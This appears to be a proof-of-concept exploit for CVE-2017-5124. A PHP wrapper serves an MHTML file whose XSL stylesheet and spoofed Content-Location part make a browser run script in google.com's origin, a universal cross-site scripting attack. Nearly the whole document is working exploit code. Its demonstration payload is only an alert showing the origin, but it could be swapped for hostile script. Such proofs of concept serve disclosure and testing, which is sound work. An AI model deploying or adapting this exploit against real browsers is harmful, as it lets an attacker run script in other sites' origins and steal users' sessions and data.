<?php
$filename=realpath("PoC.mht");
header( "Content-type: multipart/related");
readfile($filename);
?>




MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
CVE-2017-5124

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

<script>alert('Location origin: '+location.origin)</script>
------MultipartBoundary----